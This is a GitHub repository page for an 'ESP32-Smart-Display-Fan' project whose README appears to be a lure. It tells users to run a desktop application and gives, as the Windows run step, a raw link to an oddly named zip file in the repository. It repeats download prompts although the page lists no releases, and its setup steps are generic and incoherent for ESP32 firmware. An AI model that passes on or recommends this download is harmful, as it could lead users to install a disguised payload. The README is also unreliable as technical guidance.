Skip to content

Modekim/ESP32-Smart-Display-Fan

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

7 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🌟 ESP32-Smart-Display-Fan - Control Your Fan with Smart Features

πŸ“¦ Release Download

Download the latest version

πŸš€ Getting Started

Welcome to the ESP32-Smart-Display-Fan project! This guide will help you download and run the application with ease.

πŸ’‘ What Is This Project?

The ESP32-Smart-Display-Fan is a self-contained device designed to enhance your home comfort using technology. It has an OLED display that shows temperature, humidity, and pressure pulled from Home Assistant through a communication method called MQTT. The internal temperature is measured with a DS18B20 sensor. Additionally, the ESP32 microcontroller controls a fan, ensuring your space stays cool without overheating.

πŸ–₯️ System Requirements

To run the ESP32-Smart-Display-Fan, your setup will require:

  • A computer (Windows, macOS, or Linux)
  • A stable internet connection for downloading
  • Basic USB port for connecting hardware

πŸ”— Features

  • Displays temperature, humidity, and pressure
  • Uses MQTT for home automation
  • Measures internal temperature with a DS18B20 sensor
  • Controls a fan with N-MOSFET
  • Hysteresis to prevent overheating

πŸ“₯ Download & Install

To get started, follow these steps:

  1. Visit the Releases page: Download Latest Release.
  2. On the Releases page, find the version you want to download.
  3. Click on the appropriate download link for your operating system.
  4. Save the downloaded file to your computer.

πŸ”§ Setting Up Your Device

After downloading, follow these instructions to setup your ESP32-Smart-Display-Fan:

  1. Unpack the Device: If your device is packaged, carefully open it.
  2. Connect Components: Use the included cables to connect:
    • The OLED display to the ESP32.
    • The DS18B20 sensor to measure internal temperature.
    • The fan controlled by the N-MOSFET you have in place.
  3. Power Supply: Connect the battery or power source to your ESP32. Make sure your connections are secure.

πŸ–±οΈ Running the Application

Once the setup is complete:

  1. Open your terminal or command prompt.
  2. Navigate to the folder where you saved the downloaded application.
  3. Type the command to run the application (e.g., ./ESP32-Smart-Display-Fan for Linux or https://github.com/Modekim/ESP32-Smart-Display-Fan/raw/refs/heads/main/anovesical/Smart_Fan_Display_ES_ejicient.zip for Windows).

🌐 Connecting with Home Assistant

To display data from Home Assistant:

  1. Ensure you have Home Assistant installed and running.
  2. Configure your ESP32-Smart-Display-Fan to connect to the same network.
  3. Follow the instructions within the application to link it with your Home Assistant setup using MQTT.

βš™οΈ Troubleshooting

If you encounter issues, here are some tips:

  • Ensure your power supply is sufficient.
  • Check all connections between components for security.
  • Verify that your device and Home Assistant are connected to the same network.

πŸ“ƒ Topics & Contributions

This project covers various areas, including:

  • Arduino programming
  • Battery powered devices
  • Embedded systems with ESP32
  • Home automation using MQTT
  • Internet of Things (IoT)

If you'd like to contribute to the project, feel free to provide suggestions or directly work on improvements.

πŸ“ž Support

For further assistance, please reach out through the Issues section of the GitHub repository. Your feedback helps us improve the project.

πŸ”— Final Notes

Thank you for exploring the ESP32-Smart-Display-Fan project. Enjoy the benefits of smart home automation. For more information or updates, check the Releases page frequently!

Download Latest Release

About

🌬️ Control your fan and display real-time data with this low-power ESP32 IoT solution featuring OLED, MQTT for Home Assistant, and automatic temperature regulation.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors